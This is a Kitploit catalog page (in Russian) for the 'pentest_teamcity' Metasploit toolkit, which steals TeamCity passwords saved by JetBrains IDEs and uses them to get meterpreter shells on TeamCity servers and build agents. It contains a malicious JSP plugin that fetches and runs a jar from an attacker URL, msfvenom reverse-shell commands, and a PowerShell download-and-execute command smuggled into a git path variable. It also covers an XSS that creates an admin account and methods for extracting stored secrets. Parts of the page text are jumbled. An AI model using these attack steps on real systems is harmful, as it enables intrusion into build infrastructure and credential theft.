Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/kacperszurek/pentest_teamcity
Фреймворки для эксплойтовГенерация полезной нагрузкиЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubkacperszurek/pentest_teamcity

pentest_teamcity

Пентест TeamCity с использованием Metasploit

Репозиторий
45828 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Pentest TeamCity using Metasploit

TL;DR: Получение паролей из JetBrains IDE (например, IntelliJ или PyCharm) и использование этих учётных данных на TeamCity Continuous Integration Server для получения сессии meterpreter на сервере и агентах сборки с помощью metasploit от Kacper Szurek.

Модуль Jetbrains.rb

Оболочка на сервере

Оболочка на агентах

Оболочка на агентах Windows

Комментарий JetBrains

Это комментарий от вендора (команда JetBrains TeamCity) от Yegor Yarko:

Большая часть содержания статьи описывает, как злоумышленники могут злоупотребить TeamCity, если им обоснованно предоставлены соответствующие разрешения. Например, пользователь с ролью System Administrator (даёт полный контроль над сервером) может установить вредоносный плагин TeamCity или получить токен для доступа "суперпользователя" к серверу. Также пользователь с ролью Project Administrator может выполнить произвольный код на агенте или извлечь сохранённые пароли доступа к репозиториям. Такое поведение является частью функциональности, предоставляемой TeamCity как продуктом. Эти соображения описаны в документации TeamCity.

OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` Это позволит загрузить и выполнить meterpreter. Скомпилированный `.jar` файл [здесь](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip).
соответствующем разделе

Описанные проблемы указывают на то, насколько опасным может быть предоставление высоких привилегий злоумышленнику. Администраторам сервера TeamCity следует регулярно проверять разрешения пользователей, чтобы не предоставлять потенциально вредоносным пользователям никаких разрешений, которые они могут использовать во зло; также проверять разрешения гостевого пользователя, если он включён. Другой момент — не оставлять свои терминалы без присмотра, будучи авторизованными с нетривиальными разрешениями.

Однако в статье отмечены две реальные проблемы безопасности: одна связана с публикацией вредоносного артефакта сборки и просмотром его в браузере администратором, а другая — с повышением разрешения на запуск пользовательской сборки до выполнения произвольного кода на агенте TeamCity. Вторая проблема имеет лишь незначительное влияние на большинство установок TeamCity, поскольку те, у кого есть такое разрешение, обычно уже имеют возможность выполнять любой код на агенте.

Тем не менее, мы собираемся решить указанные проблемы в одном из ближайших релизов TeamCity и благодарим вас за то, что обратили на них наше внимание.

Введение

Предположим, вы проводите тестирование на проникновение внутри компании, использующей стек JetBrains. Вы используете metasploit и получаете сессию meterpreter на компьютере разработчика.

Что делать дальше? Есть статья о пентесте TeamCity от Nikhil SamratAshok Mittal за 2015 год.

В этом посте я объединяю несколько методов из Security Notes и BugTrack и реализую их в модуле Metasploit.

Примечание: Я не использую здесь никаких 0-day. Для каждого действия необходимы действительные учётные данные TeamCity. См. Комментарий JetBrains.

Я не несу ответственности за любой ущерб, причинённый этим скриптом. Для безопасности данных используйте set CLEANUP false.

Протестировано на TeamCity 2017.2.1 (build 50732).

Содержание

  • Комментарий JetBrains
  • Установка
  • Получение паролей из JetBrains IDE
    • Модуль metasploit JetBrains
  • Пентест сервера TeamCity
    • Оболочка на сервере
    • Оболочка на агентах сборки
    • Оболочка на агентах сборки Windows
    • Суперпользователь
    • Сохранённые учётные данные
    • Учётная запись администратора с помощью XSS
    • Гостевой пользователь
    • Модуль metasploit TeamCity
  • Устранение неполадок

Установка

Для декодирования базы данных KeePass нам потребуется библиотека Ruby kdbx.

  1. Найдите gem-файл: find / -name "metasploit-framework.gemspec"
  2. Отредактируйте, для Kali Linux это: vim /usr/share/metasploit-framework/metasploit-framework.gemspec
  3. Добавьте: spec.add_runtime_dependency 'kdbx', '0.2.0'
  4. cd /usr/share/metasploit-framework/ && bundle install

Теперь вы можете:

  1. mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/post
  2. Скопируйте teamcity.rb и serverplugin.zip в ~/.msf4/modules/exploits
  3. Скопируйте jetbrains.rb в ~/.msf4/modules/post
  4. Запустите консоль Metasploit msfconsole
  5. Перезагрузите плагины reload_all

Получение паролей из JetBrains IDE

TeamCity легко интегрируется со всеми IDE JetBrains с помощью плагина.

Окно входа TeamCity Integration

Если используется опция Remember me, пароли сохраняются через IntelliJ Platform Credentials Store API. Исходный код можно найти здесь.

Процедура дешифрования в Windows выглядит так:

Схема паролей

  1. Файл pdb.pw расшифровывается с помощью Windows CryptUnprotectData. Это означает, что только пользователь, зашифровавший данные, может их декодировать.
  2. Blob расшифровывается с помощью AES-128-CBC со статическим паролем. Этот пароль не меняется и одинаков для всех продуктов и установок.
  3. Базу данных KeePass c.kdbx теперь можно расшифровать с помощью Master Password из пункта 2.
  4. Пароли ксорятся с помощью 0xDFAA

По умолчанию Master Password является случайным. Его можно изменить в настройках:

Смена мастер-пароля

Но это ничего не меняет.

Это означает лишь, что база данных KeePass c.kdbx будет зашифрована другим паролем. Локальный пользователь всё равно может легко получить этот пароль из файла pdb.pw.

Модуль metasploit JetBrains

Предположим, у вас есть действительная сессия Meterpreter с `#1```` use post/jetbrains set SESSION 1 exploit

root@kitploit:~
Вывод выглядит следующим образом:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

Пентест сервера TeamCity

Сейчас у вас есть учетные данные TeamCity от модуля JetBrains metasploit. В зависимости от текущей роли пользователя вы можете:

Режим простой авторизации

Оболочка на сервереОболочка на агентах сборкиСуперпользовательСохраненные учетные данные
Администратор✔️✔️✔️✔️
Для всех проектов
Авторизованный пользователь❌✖️
только на агентах Windows
❌❌
Гость❌❌❌❌

Режим авторизации по проектам:

Оболочка на сервереОболочка на агентах сборкиСуперпользовательСохраненные учетные данные
Системный администратор✔️✔️✔️✔️
Для всех проектов
Администратор проекта❌✔️❌✔️
Разработчик проекта❌✖️
только на агентах Windows
❌❌
Просмотрщик проекта❌❌❌❌

Обратите внимание, что модуль metasploit не поддерживает пользовательские роли.

Оболочка на сервере

TeamCity можно легко расширить с помощью плагинов.

Список плагинов

Используя эту функциональность, можно создать вредоносный плагин, который запустит сеанс meterpreter.

  1. Создайте вредоносный плагин, используя это руководство. Внутри Hello.jsp поместите: ```java <%@ page import="java.io.File" %>
  1. Перейдите в Server Administration->Diagnostics->Browse Data Directory и загрузите плагин в каталог plugins. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)

Upload plugin

  1. Перезапустите сервер через Server Administration->Diagnostics->Troubleshooting->Restart server (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)

Restart server

  1. Теперь вы можете выполнить любой .jar файл, используя http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jar

Оболочка на агентах сборки

TeamCity Build Agent — это часть программного обеспечения, которая прослушивает команды от сервера TeamCity и запускает фактические процессы сборки. Он устанавливается и настраивается отдельно от сервера TeamCity. Агент может быть установлен на том же компьютере, что и сервер, или на другой машине.

Эксплуатация выглядит так:

Shell on Build Agents

Простыми словами: мы генерируем Java meterpreter, который размещается на Git-сервере. Затем мы создаём конфигурацию сборки, которая загружает наш meterpreter с Git-сервера и запускает его на агентах с помощью командной строки.

  1. Сгенерируйте полезную нагрузку meterpreter: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar

  2. Разместите meterpreter.jar на Git-сервере (например, используя https://gogs.io/)

  3. Если у вас есть привилегии System Administrator, вы можете создать новый проект (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). Если вы Project Developer, вам нужно отредактировать проект, к которому у вас есть доступ.

Create project

  1. Добавьте VCS root в ваш проект, используя данные из пункта 2

Add VCS root

  1. Создайте новую конфигурацию сборки

Build configuration

  1. Добавьте шаг сборки в конфигурацию сборки

Create build step

КлючЗначение
Runner typeCommand line
Execute stepAlways, even if build stop command was issued
RunExecutable with parameters
Command executable%teamcity.agent.jvm.java.home%/bin/java
Command parameters-jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar
  1. Подготовьте metasploit multi handler: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit
root@kitploit:~
8\. Запустить личную пользовательскую сборку на всех совместимых агентах

![Запустить сборку](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## Оболочка на агентах сборки Windows

По умолчанию `Project Developer` не может изменять/создавать шаги сборки.

Поэтому невозможно добавить и выполнить нашу вредоносную командную строку.

Мы можем попытаться обойти это в Windows, используя [Пользовательские переменные окружения](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). Как?

TeamCity поддерживает [получение кода из git на агенте](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).

Перед выполнением шага сборки агент загружает новейшие данные с git-сервера:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

Агент проверяет, существует ли переменная окружения TEAMCITY_GIT_PATH. Если да, она используется как путь к исполняемому файлу git.

В проекте TeamCity разработчик может запустить сборку, к которой у него есть доступ, и указать пользовательские переменные окружения.

Таким образом, мы устанавливаем env.TEAMCITY_GIT_PATH в:``` "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

root@kitploit:~
![Build with environment variable](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

В логах сборки это выглядит так:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

Super user

TeamCity имеет так называемую учетную запись суперпользователя. Она позволяет получить доступ к пользовательскому интерфейсу сервера с правами системного администратора, если вы не помните учетные данные или вам нужно исправить настройки, связанные с аутентификацией.

Если у вас есть права System Administrator, перейдите в Server Administration->Diagnostics->Server logs->teamcity-server.log и найдите строку Super user authentication token (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):``` [2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.

root@kitploit:~
Теперь вы можете войти, используя: `http://teamcity/login.html?super=1`

## Сохраненные учетные данные

TeamCity хранит такие вещи, как `VCS root passwords`, `password parameters` или `SSH keys` в зашифрованном виде и не показывает их содержимое в веб-интерфейсе или API.

Но это можно обойти с помощью функции `export`. Перейдите в **Your project->Settings Export->Export**

![Экспорт проекта](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

Эти файлы выглядят следующим образом:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

Зашифрованные строки начинаются с zxx и кодируются с помощью DES со статическим ключом.

Учетная запись администратора с использованием XSS

Как мы можем прочитать в Teamcity Bug Tracker #TW-27206: Malicious data in build artifacts can initiate XSS attack.

В настоящее время все .html (и некоторые другие) файлы из артефактов сборки отображаются в браузере при клике на них.

Я создал небольшой фрагмент кода, который пытается создать новую учетную запись администратора.

Как может выглядеть эта атака? Мы пытаемся убедить администратора посетить наш вредоносный артефакт, доступный по URL-адресу http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html.

XSS

Гостевой пользователь

TeamCity позволяет включить гостевой вход, который предоставляет анонимный доступ к веб-интерфейсу TeamCity.

Администратор сервера может включить гостевой вход на странице Administration | Authentication page.

Вы можете использовать это для получения артефактов сборки.

TeamCity metasploit module

Базовое использование:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit

root@kitploit:~
Вывод выглядит следующим образом:


Дополнительные параметры:

| Имя | Описание |
|:---:|:---:|
|PROJECT_ID|Укажите ID проекта, по умолчанию будет создан новый случайный проект|
|BUILD_TYPE_ID|Укажите ID типа сборки, по умолчанию будет создан новый случайный тип сборки|
|VCS_ID|Укажите ID VCS, по умолчанию будет создан новый случайный VCS|
|CLEANUP|Удалить созданный проект/сборку/корень VCS|
|SERVER_PLUGIN|Путь к [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|Путь к директории GIT|

# Поиск и устранение неисправностей

  1. Я не могу загрузить модули Metasploit

  Проверьте, скопировали ли вы `teamcity.rb` в каталог `~/.msf4/modules/exploits` и `jetbrains.rb` в каталог `~/.msf4/modules/post`.
  Metasploit требует, чтобы модули эксплойтов находились в каталоге `exploits`, а пост-модули — в каталоге `post`.

  2. Предупреждение! Не удалось загрузить следующие модули! LoadError cannot load such file -- kdbx

  Вы установили [модуль kdbx](#installation)? Если да, выйдите из Metasploit и запустите его снова. Используйте команду `reload_all`.

  3. Я не могу получить пароли из IDE, установленной на Mac/Linux

  В настоящее время поддерживается только Windows. Извините.

  4. Ошибка пост-модуля: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1

  Вероятно, вы используете java meterpreter. В нем отсутствуют некоторые важные API. Мигрируйте на `windows/meterpreter/reverse_tcp` и попробуйте снова.

  5. Запуск от имени SYSTEM, невозможно расшифровать данные

  Поскольку пароли зашифрованы с помощью API `CryptUnprotectData`, функция декодирования должна выполняться в контексте обычной учетной записи пользователя.

  6. Я не получаю [оболочку на сервере](#shell-on-server)

  Запустите эксплойт второй раз.

  7. `teamcit.rb` не работает, даже если текущий пользователь имеет достаточные привилегии

  Этот модуль не поддерживает пользовательские роли.

  8. Не удается найти git в %path%. Измените GIT_PATH

  Нам нужны бинарные файлы `git` и `git-upload-pack` для настройки Git-сервера, который будет хостить наш meterpreter. Я использую идею [отсюда](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).

    ```
    set GIT_PATH /your/path/to/git/dir
    ```

  9. Не удается войти как `username:password`

  Проверьте учетные данные:

    set USERNAME your_user_name
    set PASSWORD your_password

  10. Не удается найти плагин сервера: %path%. Измените SERVER_PLUGIN

  Укажите, где хранится [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)

    set SERVER_PLUGIN /your/path/to/serverplugin.zip

  11. [-] Exploit failed: Rex::RuntimeError The supplied resource is already added.

  Завершите фоновые задания с помощью `jobs -K`

  12. Привяжите LHOST к конкретному IP-адресу, а не к 0.0.0.0

  Привяжите к конкретному IP-адресу, например:  ```
  use LHOST 192.168.1.123
  1. Эксплойт прерван из-за ошибки: unknown: Невозможно изменить %project_name%

У вас нет прав на указанный проект. Посмотрите, к каким проектам у вас есть доступ, например: ``` You can modify only following projects: ["test", "second"]

root@kitploit:~
и затем укажите идентификатор проекта:  ```
set PROJECT_ID test
  1. Почему доступен только java/meterpreter/reverse_tcp?

Потому что он переносим. Не стесняйтесь изменять функцию is_payload_compatible?.

  1. Другие проблемы

Включите отладку:

root@kitploit:~
set HttpTrace 1
set LogLevel 3
Скачать инструмент